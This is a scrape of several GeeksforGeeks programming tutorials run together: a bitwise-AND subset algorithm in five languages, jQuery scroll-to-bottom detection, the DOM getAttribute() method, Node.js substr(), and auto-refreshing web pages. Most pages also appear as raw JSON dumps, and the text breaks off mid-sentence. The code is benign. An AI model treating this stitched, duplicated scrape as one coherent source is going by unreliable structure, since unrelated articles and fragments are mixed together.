8, 2, 3]; let N = arr.length; largestSubset(arr, N); // This code is contributed by Potta Lokesh </script> 3 Time Complexity: O(N) [(32)* (length of array) where 32 is constant time, so as per recurrence tree the time complexity is of N order Auxiliary Space: O(1) lokeshpotta20 ipg2016107 dharanendralv23 ukasp aditya942003patil Bitwise-AND setBitCount subset Arrays Bit Magic Mathematical Arrays Mathematical Bit Magic subset Writing code in comment? Please use ide.geeksforgeeks.org, generate link and share the link here. Introduction to Data Structures Window Sliding Technique Search, insert and delete in an unsorted array What is Data Structure: Types, Classifications and Applications Chocolate Distribution Problem Bitwise Operators in C/C++ Left Shift and Right Shift Operators in C/C++ Travelling Salesman Problem | Set 1 (Naive and Dynamic Programming) Count set bits in an integer How to swap two numbers without using a temporary variable?
[ { "code": null, "e": 54, "s": 26, "text": "\n02 Jun, 2022" }, { "code": null, "e": 207, "s": 54, "text": "Given an array arr[] consisting of N positive integers, the task is to find the largest size of the subset of the array arr[] with positive Bitwise AND." }, { "code": null, "e": 293, "s": 207, "text": "Note : If there exist more than one such subsets then return size of only one subset." }, { "code": null, "e": 303, "s": 293, "text": "Examples:" }, { "code": null, "e": 493, "s": 303, "text": "Input: arr[] = [7, 13, 8, 2, 3]Output: 3Explanation:The subsets having Bitwise AND positive are {7,13,3} and {7,2,3} are of length 3, which is of maximum length among all possible subsets." }, { "code": null, "e": 530, "s": 493, "text": "Input: arr[] = [1, 2, 4, 8]Output: 1" }, { "code": null, "e": 835, "s": 530, "text": "Approach: The given problem can be solved by counting the number of set bits at each corresponding bits position for all array elements and then the count of the maximum of set bits at any position is the maximum count of subset required because the Bitwise AND of all those elements is always positive. " }, { "code": null, "e": 850, "s": 835, "text": "Illustration :" }, { "code": null, "e": 1162, "s": 850, "text": "7 --> 00111\n13 --> 01101\n 8 --> 01000\n 2 --> 00010\n 3 --> 00011\n ------\n 02233 <-- Evident BitWise AND bit(Most number of 1's in bit grid)\n\nFrom above it is clearly evident that we can have maximum of 3 bitwise combinations \nwhere combinations are listed below as follows: \n{7,13,3}\n{7,2,3}" }, { "code": null, "e": 1264, "s": 1162, "text": "Initialize an array, say bit[] of size 32 that stores the count of set bits at each ith bit position." }, { "code": null, "e": 1413, "s": 1264, "text": "Traverse the given array and for each element, say arr[i] increment the frequency of the ith bit in the array bit[] if the ith bit is set in arr[i]." }, { "code": null, "e": 1514, "s": 1413, "text": "After the above steps, print the maximum of the array bit[] to print the maximum size of the subset." }, { "code": null, "e": 1565, "s": 1514, "text": "Below is the implementation of the above approach:" }, { "code": null, "e": 1569, "s": 1565, "text": "C++" }, { "code": null, "e": 1574, "s": 1569, "text": "Java" }, { "code": null, "e": 1582, "s": 1574, "text": "Python3" }, { "code": null, "e": 1585, "s": 1582, "text": "C#" }, { "code": null, "e": 1596, "s": 1585, "text": "Javascript" }, { "code": "// C++ program for the above approach #include <bits/stdc++.h>using namespace std; // Function to find the largest possible// subset having Bitwise AND positivevoid largestSubset(int a[], int N){ // Stores the number of set bits // at each bit position int bit[32] = { 0 }; // Traverse the given array arr[] for (int i = 0; i < N; i++) { // Current bit position int x = 31; // Loop till array element // becomes zero while (a[i] > 0) { // If the last bit is set if (a[i] & 1 == 1) { // Increment frequency bit[x]++; } // Divide array element by 2 a[i] = a[i] >> 1; // Decrease the bit position x--; } } // Size of the largest possible subset cout << *max_element(bit, bit + 32);} // Driver Codeint main(){ int arr[] = { 7, 13, 8, 2, 3 }; int N = sizeof(arr) / sizeof(arr[0]); largestSubset(arr, N); return 0;}", "e": 2600, "s": 1596, "text": null }, { "code": "// Java program for the above approachimport java.io.*;class GFG{ static void largestSubset(int a[], int N) { // Stores the number of set bits // at each bit position int bit[] = new int[32]; // Traverse the given array arr[] for (int i = 0; i < N; i++) { // Current bit position int x = 31; // Loop till array element // becomes zero while (a[i] > 0) { // If the last bit is set if ((int)(a[i] & 1) == (int)1) { // Increment frequency bit[x]++; } // Divide array element by 2 a[i] = a[i] >> 1; // Decrease the bit position x--; } } // Size of the largest possible subset int max = Integer.MIN_VALUE; for (int i = 0; i < 32; i++) { max = Math.max(max, bit[i]); } System.out.println(max); } // Driver code public static void main (String[] args) { int arr[] = {7, 13, 8, 2, 3}; int N = arr.length; largestSubset(arr, N); }} // This code is contributed by Dharanendra L V.", "e": 3827, "s": 2600, "text": null }, { "code": "# Python 3 program for the above approach # Function to find the largest possible# subset having Bitwise AND positivedef largestSubset(a, N): # Stores the number of set bits # at each bit position bit = [0 for i in range(32)] # Traverse the given array arr[] for i in range(N): # Current bit position x = 31 # Loop till array element # becomes zero while(a[i] > 0): # If the last bit is set if (a[i] & 1 == 1): # Increment frequency bit[x] += 1 # Divide array element by 2 a[i] = a[i] >> 1 # Decrease the bit position x -= 1 # Size of the largest possible subset print(max(bit)) # Driver Codeif __name__ == '__main__': arr = [7, 13, 8, 2, 3] N = len(arr) largestSubset(arr, N) # This code is contributed by ipg016107.", "e": 4716, "s": 3827, "text": null }, { "code": "// C# program for the above approachusing System;class GFG { static void largestSubset(int[] a, int N) { // Stores the number of set bits // at each bit position int[] bit = new int[32]; // Traverse the given array arr[] for (int i = 0; i < N; i++) { // Current bit position int x = 31; // Loop till array element // becomes zero while (a[i] > 0) { // If the last bit is set if ((int)(a[i] & 1) == (int)1) { // Increment frequency bit[x]++; } // Divide array element by 2 a[i] = a[i] >> 1; // Decrease the bit position x--; } } // Size of the largest possible subset int max = Int32.MinValue; for (int i = 0; i < 32; i++) { max = Math.Max(max, bit[i]); } Console.WriteLine(max); } // Driver code public static void Main(string[] args) { int[] arr = { 7, 13, 8, 2, 3 }; int N = arr.Length; largestSubset(arr, N); }} // This code is contributed by ukasp.", "e": 5921, "s": 4716, "text": null }, { "code": "<script> // JavaScript Program to implement // the above approach // Function to find the largest possible // subset having Bitwise AND positive function largestSubset(a, N) { // Stores the number of set bits // at each bit position let bit = new Array(32).fill(0); // Traverse the given array arr[] for (let i = 0; i < N; i++) { // Current bit position let x = 31; // Loop till array element // becomes zero while (a[i] > 0) { // If the last bit is set if (a[i] & 1 == 1) { // Increment frequency bit[x]++; } // Divide array element by 2 a[i] = a[i] >> 1; // Decrease the bit position x--; } } // Size of the largest possible subset let max = Number.MIN_VALUE; for (let i = 0; i < 32; i++) { max = Math.max(max, bit[i]); } document.write(max); } // Driver Code let arr = [7, 13, 8, 2, 3]; let N = arr.length; largestSubset(arr, N); // This code is contributed by Potta Lokesh </script>", "e": 7279, "s": 5921, "text": null }, { "code": null, "e": 7281, "s": 7279, "text": "3" }, { "code": null, "e": 7303, "s": 7281, "text": "Time Complexity: O(N)" }, { "code": null, "e": 7415, "s": 7303, "text": "[(32)* (length of array) where 32 is constant time, so as per recurrence tree the time complexity is of N order" }, { "code": null, "e": 7437, "s": 7415, "text": "Auxiliary Space: O(1)" }, { "code": null, "e": 7451, "s": 7437, "text": "lokeshpotta20" }, { "code": null, "e": 7462, "s": 7451, "text": "ipg2016107" }, { "code": null, "e": 7478, "s": 7462, "text": "dharanendralv23" }, { "code": null, "e": 7484, "s": 7478, "text": "ukasp" }, { "code": null, "e": 7502, "s": 7484, "text": "aditya942003patil" }, { "code": null, "e": 7514, "s": 7502, "text": "Bitwise-AND" }, { "code": null, "e": 7526, "s": 7514, "text": "setBitCount" }, { "code": null, "e": 7533, "s": 7526, "text": "subset" }, { "code": null, "e": 7540, "s": 7533, "text": "Arrays" }, { "code": null, "e": 7550, "s": 7540, "text": "Bit Magic" }, { "code": null, "e": 7563, "s": 7550, "text": "Mathematical" }, { "code": null, "e": 7570, "s": 7563, "text": "Arrays" }, { "code": null, "e": 7583, "s": 7570, "text": "Mathematical" }, { "code": null, "e": 7593, "s": 7583, "text": "Bit Magic" }, { "code": null, "e": 7600, "s": 7593, "text": "subset" }, { "code": null, "e": 7698, "s": 7600, "text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here." }, { "code": null, "e": 7730, "s": 7698, "text": "Introduction to Data Structures" }, { "code": null, "e": 7755, "s": 7730, "text": "Window Sliding Technique" }, { "code": null, "e": 7802, "s": 7755, "text": "Search, insert and delete in an unsorted array" }, { "code": null, "e": 7866, "s": 7802, "text": "What is Data Structure: Types, Classifications and Applications" }, { "code": null, "e": 7897, "s": 7866, "text": "Chocolate Distribution Problem" }, { "code": null, "e": 7924, "s": 7897, "text": "Bitwise Operators in C/C++" }, { "code": null, "e": 7970, "s": 7924, "text": "Left Shift and Right Shift Operators in C/C++" }, { "code": null, "e": 8038, "s": 7970, "text": "Travelling Salesman Problem | Set 1 (Naive and Dynamic Programming)" }, { "code": null, "e": 8067, "s": 8038, "text": "Count set bits in an integer" } ]
How to detect when user scrolls to the bottom of a div ?
03 Aug, 2021 The task is to detect the bottom of the <div> element when user scrolls to the bottom using JQuery. Here are few methods discussed. jQuery on() Method:This method adds one or more event handlers for the selected elements and child elements.Syntax:$(selector).on(event, childSelector, data, function, map) Parameters:event: This parameter is required. It specifies one or more event(s) or namespaces to attach to the selected elements.In the case of multiple event values, those are separated by space. The event must be valid.childSelector: This parameter is optional. It specifies that the event handler should only be attached to the defined child elements.data: This parameter is optional. It specifies additional data to pass to the function.function: This parameter is required. It specifies the function to run when the event occurs.map: It specifies an event map ({event:func(), event:func(), ...}) having one or more event to add to the selected elements, and functions to run when the events happens. $(selector).on(event, childSelector, data, function, map) Parameters: event: This parameter is required. It specifies one or more event(s) or namespaces to attach to the selected elements.In the case of multiple event values, those are separated by space. The event must be valid. childSelector: This parameter is optional. It specifies that the event handler should only be attached to the defined child elements. data: This parameter is optional. It specifies additional data to pass to the function. function: This parameter is required. It specifies the function to run when the event occurs. map: It specifies an event map ({event:func(), event:func(), ...}) having one or more event to add to the selected elements, and functions to run when the events happens. Example 1: This example alerts You reached the end of the DIV when the user scrolls to the bottom of the div element with class = div. <!DOCTYPE HTML><html> <head> <title> JQuery | Detecting when user scrolls to bottom of div. </title></head><script src="https://ajax.googleapis.com/ajax/libs/jquery/3.4.0/jquery.min.js"></script> <body style="text-align:center;" id="body"> <h1 style="color:green;"> GeeksForGeeks </h1> <p id="GFG_UP" style="font-size: 17px; font-weight: bold;"> </p> <div class="div"> <h1>GeeksforGeeks</h1> <h1>GeeksforGeeks</h1> <h1>GeeksforGeeks</h1> <h1>GeeksforGeeks</h1> <h1>GeeksforGeeks</h1> <h1>GeeksforGeeks</h1> <h1>GeeksforGeeks</h1> <h1>GeeksforGeeks</h1> <h1>GeeksforGeeks</h1> <h1>GeeksforGeeks</h1> <h1>GeeksforGeeks</h1> <h1>GeeksforGeeks</h1> <h1>GeeksforGeeks</h1> </div> <script> $('#GFG_UP').text( 'Scroll till bottom to get alert!'); $(window).on('scroll', function() { if ($(window).scrollTop() >= $( '.div').offset().top + $('.div'). outerHeight() - window.innerHeight) { alert('You reached the end of the DIV'); } }); </script></body> </html> Output: Before reaching the bottom: After reaching the bottom: Example 2: This example alerts End of DIV is reached! when the user scrolls to the bottom of the div element with class = div. <!DOCTYPE HTML><html> <head> <title> JQuery | Detecting when user scrolls to bottom of div. </title></head><script src= "https://ajax.googleapis.com/ajax/libs/jquery/3.4.0/jquery.min.js"></script> <body style="text-align:center;" id="body"> <h1 style="color:green;"> GeeksForGeeks </h1> <p id="GFG_UP" style="font-size: 17px; font-weight: bold;"> </p> <center> <div class="div" style="width:200px; height:150px; overflow:auto;"> <h1>GeeksforGeeks</h1> <h1>GeeksforGeeks</h1> <h1>GeeksforGeeks</h1> <h1>GeeksforGeeks</h1> <h1>GeeksforGeeks</h1> <h1>GeeksforGeeks</h1> <h1>GeeksforGeeks</h1> <h1>GeeksforGeeks</h1> <h1>GeeksforGeeks</h1> <h1>GeeksforGeeks</h1> <h1>GeeksforGeeks</h1> <h1>GeeksforGeeks</h1> <h1>GeeksforGeeks</h1> </div> </center> <script> $('#GFG_UP').text('Scroll till bottom to get alert!'); jQuery(function($) { $('.div').on('scroll', function() { if ($(this).scrollTop() + $(this).innerHeight() >= $(this)[0].scrollHeight) { alert('End of DIV is reached!'); } }); }); </script></body> </html> Output: Before reaching the bottom: After reaching the bottom: jQuery is an open source JavaScript library that simplifies the interactions between an HTML/CSS document, It is widely famous with it’s philosophy of “Write less, do more”.You can learn jQuery from the ground up by following this jQuery Tutorial and jQuery Examples. jQuery-Misc JavaScript JQuery Web Technologies Writing code in comment? Please use ide.geeksforgeeks.org, generate link and share the link here. Difference between var, let and const keywords in JavaScript Differences between Functional Components and Class Components in React Remove elements from a JavaScript Array Roadmap to Learn JavaScript For Beginners Difference Between PUT and PATCH Request JQuery | Set the value of an input text field Form validation using jQuery How to change selected value of a drop-down list using jQuery? How to add options to a select element using jQuery? jQuery | children() with Examples
[ { "code": null, "e": 54, "s": 26, "text": "\n03 Aug, 2021" }, { "code": null, "e": 186, "s": 54, "text": "The task is to detect the bottom of the <div> element when user scrolls to the bottom using JQuery. Here are few methods discussed." }, { "code": null, "e": 1064, "s": 186, "text": "jQuery on() Method:This method adds one or more event handlers for the selected elements and child elements.Syntax:$(selector).on(event, childSelector, data, function, map)\nParameters:event: This parameter is required. It specifies one or more event(s) or namespaces to attach to the selected elements.In the case of multiple event values, those are separated by space. The event must be valid.childSelector: This parameter is optional. It specifies that the event handler should only be attached to the defined child elements.data: This parameter is optional. It specifies additional data to pass to the function.function: This parameter is required. It specifies the function to run when the event occurs.map: It specifies an event map ({event:func(), event:func(), ...}) having one or more event to add to the selected elements, and functions to run when the events happens." }, { "code": null, "e": 1123, "s": 1064, "text": "$(selector).on(event, childSelector, data, function, map)\n" }, { "code": null, "e": 1135, "s": 1123, "text": "Parameters:" }, { "code": null, "e": 1346, "s": 1135, "text": "event: This parameter is required. It specifies one or more event(s) or namespaces to attach to the selected elements.In the case of multiple event values, those are separated by space. The event must be valid." }, { "code": null, "e": 1480, "s": 1346, "text": "childSelector: This parameter is optional. It specifies that the event handler should only be attached to the defined child elements." }, { "code": null, "e": 1568, "s": 1480, "text": "data: This parameter is optional. It specifies additional data to pass to the function." }, { "code": null, "e": 1662, "s": 1568, "text": "function: This parameter is required. It specifies the function to run when the event occurs." }, { "code": null, "e": 1833, "s": 1662, "text": "map: It specifies an event map ({event:func(), event:func(), ...}) having one or more event to add to the selected elements, and functions to run when the events happens." }, { "code": null, "e": 1968, "s": 1833, "text": "Example 1: This example alerts You reached the end of the DIV when the user scrolls to the bottom of the div element with class = div." }, { "code": "<!DOCTYPE HTML><html> <head> <title> JQuery | Detecting when user scrolls to bottom of div. </title></head><script src=\"https://ajax.googleapis.com/ajax/libs/jquery/3.4.0/jquery.min.js\"></script> <body style=\"text-align:center;\" id=\"body\"> <h1 style=\"color:green;\"> GeeksForGeeks </h1> <p id=\"GFG_UP\" style=\"font-size: 17px; font-weight: bold;\"> </p> <div class=\"div\"> <h1>GeeksforGeeks</h1> <h1>GeeksforGeeks</h1> <h1>GeeksforGeeks</h1> <h1>GeeksforGeeks</h1> <h1>GeeksforGeeks</h1> <h1>GeeksforGeeks</h1> <h1>GeeksforGeeks</h1> <h1>GeeksforGeeks</h1> <h1>GeeksforGeeks</h1> <h1>GeeksforGeeks</h1> <h1>GeeksforGeeks</h1> <h1>GeeksforGeeks</h1> <h1>GeeksforGeeks</h1> </div> <script> $('#GFG_UP').text( 'Scroll till bottom to get alert!'); $(window).on('scroll', function() { if ($(window).scrollTop() >= $( '.div').offset().top + $('.div'). outerHeight() - window.innerHeight) { alert('You reached the end of the DIV'); } }); </script></body> </html>", "e": 3219, "s": 1968, "text": null }, { "code": null, "e": 3227, "s": 3219, "text": "Output:" }, { "code": null, "e": 3255, "s": 3227, "text": "Before reaching the bottom:" }, { "code": null, "e": 3282, "s": 3255, "text": "After reaching the bottom:" }, { "code": null, "e": 3409, "s": 3282, "text": "Example 2: This example alerts End of DIV is reached! when the user scrolls to the bottom of the div element with class = div." }, { "code": "<!DOCTYPE HTML><html> <head> <title> JQuery | Detecting when user scrolls to bottom of div. </title></head><script src= \"https://ajax.googleapis.com/ajax/libs/jquery/3.4.0/jquery.min.js\"></script> <body style=\"text-align:center;\" id=\"body\"> <h1 style=\"color:green;\"> GeeksForGeeks </h1> <p id=\"GFG_UP\" style=\"font-size: 17px; font-weight: bold;\"> </p> <center> <div class=\"div\" style=\"width:200px; height:150px; overflow:auto;\"> <h1>GeeksforGeeks</h1> <h1>GeeksforGeeks</h1> <h1>GeeksforGeeks</h1> <h1>GeeksforGeeks</h1> <h1>GeeksforGeeks</h1> <h1>GeeksforGeeks</h1> <h1>GeeksforGeeks</h1> <h1>GeeksforGeeks</h1> <h1>GeeksforGeeks</h1> <h1>GeeksforGeeks</h1> <h1>GeeksforGeeks</h1> <h1>GeeksforGeeks</h1> <h1>GeeksforGeeks</h1> </div> </center> <script> $('#GFG_UP').text('Scroll till bottom to get alert!'); jQuery(function($) { $('.div').on('scroll', function() { if ($(this).scrollTop() + $(this).innerHeight() >= $(this)[0].scrollHeight) { alert('End of DIV is reached!'); } }); }); </script></body> </html>", "e": 4873, "s": 3409, "text": null }, { "code": null, "e": 4881, "s": 4873, "text": "Output:" }, { "code": null, "e": 4909, "s": 4881, "text": "Before reaching the bottom:" }, { "code": null, "e": 4936, "s": 4909, "text": "After reaching the bottom:" }, { "code": null, "e": 5204, "s": 4936, "text": "jQuery is an open source JavaScript library that simplifies the interactions between an HTML/CSS document, It is widely famous with it’s philosophy of “Write less, do more”.You can learn jQuery from the ground up by following this jQuery Tutorial and jQuery Examples." }, { "code": null, "e": 5216, "s": 5204, "text": "jQuery-Misc" }, { "code": null, "e": 5227, "s": 5216, "text": "JavaScript" }, { "code": null, "e": 5234, "s": 5227, "text": "JQuery" }, { "code": null, "e": 5251, "s": 5234, "text": "Web Technologies" }, { "code": null, "e": 5349, "s": 5251, "text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here." }, { "code": null, "e": 5410, "s": 5349, "text": "Difference between var, let and const keywords in JavaScript" }, { "code": null, "e": 5482, "s": 5410, "text": "Differences between Functional Components and Class Components in React" }, { "code": null, "e": 5522, "s": 5482, "text": "Remove elements from a JavaScript Array" }, { "code": null, "e": 5564, "s": 5522, "text": "Roadmap to Learn JavaScript For Beginners" }, { "code": null, "e": 5605, "s": 5564, "text": "Difference Between PUT and PATCH Request" }, { "code": null, "e": 5651, "s": 5605, "text": "JQuery | Set the value of an input text field" }, { "code": null, "e": 5680, "s": 5651, "text": "Form validation using jQuery" }, { "code": null, "e": 5743, "s": 5680, "text": "How to change selected value of a drop-down list using jQuery?" }, { "code": null, "e": 5796, "s": 5743, "text": "How to add options to a select element using jQuery?" } ]
HTML DOM getAttribute() Method
22 Nov, 2021 In this article, we will learn about the HTML DOM getAttribute() method, along with understanding their implementation through the example. HTML DOM getAttribute() method is used to get the value of the attribute of the element. By specifying the name of the attribute, it can get the value of that element. To get the values from non-standard attributes, we can use the getAttribute() method. Syntax: Object.getAttribute(attributename) Parameter value: attributename: It is a required parameter with string type that specifies the name of the attribute that needs to retrieve the value. Return value: It returns the value of a specified attribute on the element. It will return a null or an empty string if the specified attribute doesn’t exist. Example 1: This example illustrates the DOM getAttribute() method that specifies the value of the attribute for the specified name, of an element. HTML <!DOCTYPE html><html> <head> <title>DOM getAttribute() Method</title></head> <body> <center> <h1 style="color:green;width:50%;"> GeeksforGeeks </h1> <h2>DOM getAttribute() Method</h2> <br> <button id="button" onclick="geeks()">Submit</button> <p id="gfg"></p> <script> function geeks() { var rk = document.getElementById("button").getAttribute("onClick"); document.getElementById("gfg").innerHTML = rk; } </script> </center></body> </html> Output: DOM getAttribute() Method Example 2: This example illustrates the DOM getAttribute() method to retrieve the href attribute value of an element. HTML <!DOCTYPE html><html> <head> <title>DOM getAttribute() Method</title></head> <body> <center> <h1 style="color:green;width:50%;"> GeeksforGeeks </h1> <h2>DOM getAttribute() Method</h2> <a id="gfg" href="www.geeksforgeeks.com"> GeeksforGeeks </a> <br> <br> <button id="button" onclick="geeks()">Submit</button> <br> <p id="rk"></p> <script> function geeks() { var rk = document.getElementById("gfg").getAttribute("href"); document.getElementById("rk").innerHTML = rk; } </script> </center></body> </html> Output: DOM getAttribute() Method Supported Browsers: The browser supported by DOM getAttribute() method are listed below: Google Chrome 1.0 Internet Explorer 5.0 Microsoft Edge 12.0 Firefox 1.0 Opera 8.0 Safari 1.0 chhabradhanvi bhaskargeeksforgeeks HTML-DOM HTML-Methods Picked Technical Scripter 2018 HTML Technical Scripter Web Technologies HTML Writing code in comment? Please use ide.geeksforgeeks.org, generate link and share the link here.
[ { "code": null, "e": 28, "s": 0, "text": "\n22 Nov, 2021" }, { "code": null, "e": 168, "s": 28, "text": "In this article, we will learn about the HTML DOM getAttribute() method, along with understanding their implementation through the example." }, { "code": null, "e": 422, "s": 168, "text": "HTML DOM getAttribute() method is used to get the value of the attribute of the element. By specifying the name of the attribute, it can get the value of that element. To get the values from non-standard attributes, we can use the getAttribute() method." }, { "code": null, "e": 430, "s": 422, "text": "Syntax:" }, { "code": null, "e": 465, "s": 430, "text": "Object.getAttribute(attributename)" }, { "code": null, "e": 482, "s": 465, "text": "Parameter value:" }, { "code": null, "e": 616, "s": 482, "text": "attributename: It is a required parameter with string type that specifies the name of the attribute that needs to retrieve the value." }, { "code": null, "e": 775, "s": 616, "text": "Return value: It returns the value of a specified attribute on the element. It will return a null or an empty string if the specified attribute doesn’t exist." }, { "code": null, "e": 922, "s": 775, "text": "Example 1: This example illustrates the DOM getAttribute() method that specifies the value of the attribute for the specified name, of an element." }, { "code": null, "e": 927, "s": 922, "text": "HTML" }, { "code": "<!DOCTYPE html><html> <head> <title>DOM getAttribute() Method</title></head> <body> <center> <h1 style=\"color:green;width:50%;\"> GeeksforGeeks </h1> <h2>DOM getAttribute() Method</h2> <br> <button id=\"button\" onclick=\"geeks()\">Submit</button> <p id=\"gfg\"></p> <script> function geeks() { var rk = document.getElementById(\"button\").getAttribute(\"onClick\"); document.getElementById(\"gfg\").innerHTML = rk; } </script> </center></body> </html>", "e": 1500, "s": 927, "text": null }, { "code": null, "e": 1508, "s": 1500, "text": "Output:" }, { "code": null, "e": 1534, "s": 1508, "text": "DOM getAttribute() Method" }, { "code": null, "e": 1652, "s": 1534, "text": "Example 2: This example illustrates the DOM getAttribute() method to retrieve the href attribute value of an element." }, { "code": null, "e": 1657, "s": 1652, "text": "HTML" }, { "code": "<!DOCTYPE html><html> <head> <title>DOM getAttribute() Method</title></head> <body> <center> <h1 style=\"color:green;width:50%;\"> GeeksforGeeks </h1> <h2>DOM getAttribute() Method</h2> <a id=\"gfg\" href=\"www.geeksforgeeks.com\"> GeeksforGeeks </a> <br> <br> <button id=\"button\" onclick=\"geeks()\">Submit</button> <br> <p id=\"rk\"></p> <script> function geeks() { var rk = document.getElementById(\"gfg\").getAttribute(\"href\"); document.getElementById(\"rk\").innerHTML = rk; } </script> </center></body> </html>", "e": 2327, "s": 1657, "text": null }, { "code": null, "e": 2335, "s": 2327, "text": "Output:" }, { "code": null, "e": 2361, "s": 2335, "text": "DOM getAttribute() Method" }, { "code": null, "e": 2451, "s": 2361, "text": "Supported Browsers: The browser supported by DOM getAttribute() method are listed below: " }, { "code": null, "e": 2469, "s": 2451, "text": "Google Chrome 1.0" }, { "code": null, "e": 2491, "s": 2469, "text": "Internet Explorer 5.0" }, { "code": null, "e": 2511, "s": 2491, "text": "Microsoft Edge 12.0" }, { "code": null, "e": 2523, "s": 2511, "text": "Firefox 1.0" }, { "code": null, "e": 2533, "s": 2523, "text": "Opera 8.0" }, { "code": null, "e": 2544, "s": 2533, "text": "Safari 1.0" }, { "code": null, "e": 2558, "s": 2544, "text": "chhabradhanvi" }, { "code": null, "e": 2579, "s": 2558, "text": "bhaskargeeksforgeeks" }, { "code": null, "e": 2588, "s": 2579, "text": "HTML-DOM" }, { "code": null, "e": 2601, "s": 2588, "text": "HTML-Methods" }, { "code": null, "e": 2608, "s": 2601, "text": "Picked" }, { "code": null, "e": 2632, "s": 2608, "text": "Technical Scripter 2018" }, { "code": null, "e": 2637, "s": 2632, "text": "HTML" }, { "code": null, "e": 2656, "s": 2637, "text": "Technical Scripter" }, { "code": null, "e": 2673, "s": 2656, "text": "Web Technologies" }, { "code": null, "e": 2678, "s": 2673, "text": "HTML" } ]
Node.js substr() function
14 Oct, 2021 The substr() function is a string function of Node.js which is used to extract sub-string from the given string. Syntax: string.substr(index, length) Parameters: This function accepts two parameters as mentioned above and described below: index: This parameter holds the starting index of the specified sub-string. length: This parameter holds the length of sub-string. Return Value: The function returns the sub-string from given string. Below programs demonstrate the working of substr() function: Program 1: function findsubstr(str) { var substring = str.substr(11, 13); console.log(substring);} var str = "Welcome to GeeksforGeeks"; findsubstr(str); Output: GeeksforGeeks Program 2: function findsubstr(str, index, length) { var substring = str.substr(index, length); console.log(substring);} var str = "Welcome to GeeksforGeeks"; var index = 11, length = 13; findsubstr(str, index, length); Output: GeeksforGeeks NodeJS-function Node.js Web Technologies Writing code in comment? Please use ide.geeksforgeeks.org, generate link and share the link here. Node.js fs.writeFile() Method How to install the previous version of node.js and npm ? Difference between promise and async await in Node.js Mongoose | findByIdAndUpdate() Function JWT Authentication with Node.js Top 10 Projects For Beginners To Practice HTML and CSS Skills Difference between var, let and const keywords in JavaScript How to insert spaces/tabs in text using HTML/CSS? How to fetch data from an API in ReactJS ? Differences between Functional Components and Class Components in React
[ { "code": null, "e": 28, "s": 0, "text": "\n14 Oct, 2021" }, { "code": null, "e": 141, "s": 28, "text": "The substr() function is a string function of Node.js which is used to extract sub-string from the given string." }, { "code": null, "e": 149, "s": 141, "text": "Syntax:" }, { "code": null, "e": 179, "s": 149, "text": "string.substr(index, length)\n" }, { "code": null, "e": 268, "s": 179, "text": "Parameters: This function accepts two parameters as mentioned above and described below:" }, { "code": null, "e": 344, "s": 268, "text": "index: This parameter holds the starting index of the specified sub-string." }, { "code": null, "e": 399, "s": 344, "text": "length: This parameter holds the length of sub-string." }, { "code": null, "e": 468, "s": 399, "text": "Return Value: The function returns the sub-string from given string." }, { "code": null, "e": 529, "s": 468, "text": "Below programs demonstrate the working of substr() function:" }, { "code": null, "e": 540, "s": 529, "text": "Program 1:" }, { "code": "function findsubstr(str) { var substring = str.substr(11, 13); console.log(substring);} var str = \"Welcome to GeeksforGeeks\"; findsubstr(str);", "e": 699, "s": 540, "text": null }, { "code": null, "e": 707, "s": 699, "text": "Output:" }, { "code": null, "e": 721, "s": 707, "text": "GeeksforGeeks" }, { "code": null, "e": 732, "s": 721, "text": "Program 2:" }, { "code": "function findsubstr(str, index, length) { var substring = str.substr(index, length); console.log(substring);} var str = \"Welcome to GeeksforGeeks\"; var index = 11, length = 13; findsubstr(str, index, length);", "e": 958, "s": 732, "text": null }, { "code": null, "e": 966, "s": 958, "text": "Output:" }, { "code": null, "e": 980, "s": 966, "text": "GeeksforGeeks" }, { "code": null, "e": 996, "s": 980, "text": "NodeJS-function" }, { "code": null, "e": 1004, "s": 996, "text": "Node.js" }, { "code": null, "e": 1021, "s": 1004, "text": "Web Technologies" }, { "code": null, "e": 1119, "s": 1021, "text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here." }, { "code": null, "e": 1149, "s": 1119, "text": "Node.js fs.writeFile() Method" }, { "code": null, "e": 1206, "s": 1149, "text": "How to install the previous version of node.js and npm ?" }, { "code": null, "e": 1260, "s": 1206, "text": "Difference between promise and async await in Node.js" }, { "code": null, "e": 1300, "s": 1260, "text": "Mongoose | findByIdAndUpdate() Function" }, { "code": null, "e": 1332, "s": 1300, "text": "JWT Authentication with Node.js" }, { "code": null, "e": 1394, "s": 1332, "text": "Top 10 Projects For Beginners To Practice HTML and CSS Skills" }, { "code": null, "e": 1455, "s": 1394, "text": "Difference between var, let and const keywords in JavaScript" }, { "code": null, "e": 1505, "s": 1455, "text": "How to insert spaces/tabs in text using HTML/CSS?" }, { "code": null, "e": 1548, "s": 1505, "text": "How to fetch data from an API in ReactJS ?" } ]
How to Automatic Refresh a web page in fixed time ?
21 Dec, 2020 Suppose we have given an HTML document and the task is to automatically refresh the webpage after a certain period of time in the web browser. We will predefine a time period and the browser automatically refreshes the webpage. Example: You are creating an auto refreshing website that needs to be refreshed after a certain smaller period of time. So, in this case, you can use the meta http-equiv tag to refresh the webpage. Another illustration of this http-equiv tag is that it can be used to reload a weather website that needs to be updated after every small interval of time to show the minute weather changes. Approach 1: One can auto refresh the webpage using the meta tag within the head element of your HTML using the http-equiv property. It is an inbuilt property with HTML 5. One can further add the time period of the refresh using the content attribute within the Meta tag. The HTTP equiv attribute can be used to simulate an HTTP response header. The attribute is supported by all major web browsers such as Google Chrome, Mozilla Firefox, Microsoft Edge, Safari, Opera Mini, etc. Syntax: <meta http-equiv="refresh" content="10"> Example: <!DOCTYPE html><html> <head> <title>Page Title</title> <meta http-equiv="refresh" content="10"></head> <body> <h2>Welcome To GFG</h2> <p>The code will reload after 10s.</p></body> </html> Output: Approach 2: Using setInterval() method: Another method to access the auto refresh property of webpage is by using the following JavaScript code until ClearInterval() is called, setInterval() will continue to call itself continuously. Syntax: <script> function autoRefresh() { window.location = window.location.href; } setInterval('autoRefresh()', 5000); </script> Example: <!DOCTYPE html><html> <head> <title> Reloading page after 5 seconds </title> <script> function autoRefresh() { window.location = window.location.href; } setInterval('autoRefresh()', 2000); </script></head> <body> <h1>Welcome to GeeksforGeeks code</h1></body> </html> Output: CSS-Misc HTML-Misc JavaScript-Misc CSS HTML JavaScript Web Technologies Web technologies Questions HTML Writing code in comment? Please use ide.geeksforgeeks.org, generate link and share the link here. Types of CSS (Cascading Style Sheet) Design a Tribute Page using HTML & CSS How to set space between the flexbox ? How to position a div at the bottom of its container using CSS? How to Upload Image into Database and Display it using PHP ? REST API (Introduction) Hide or show elements in 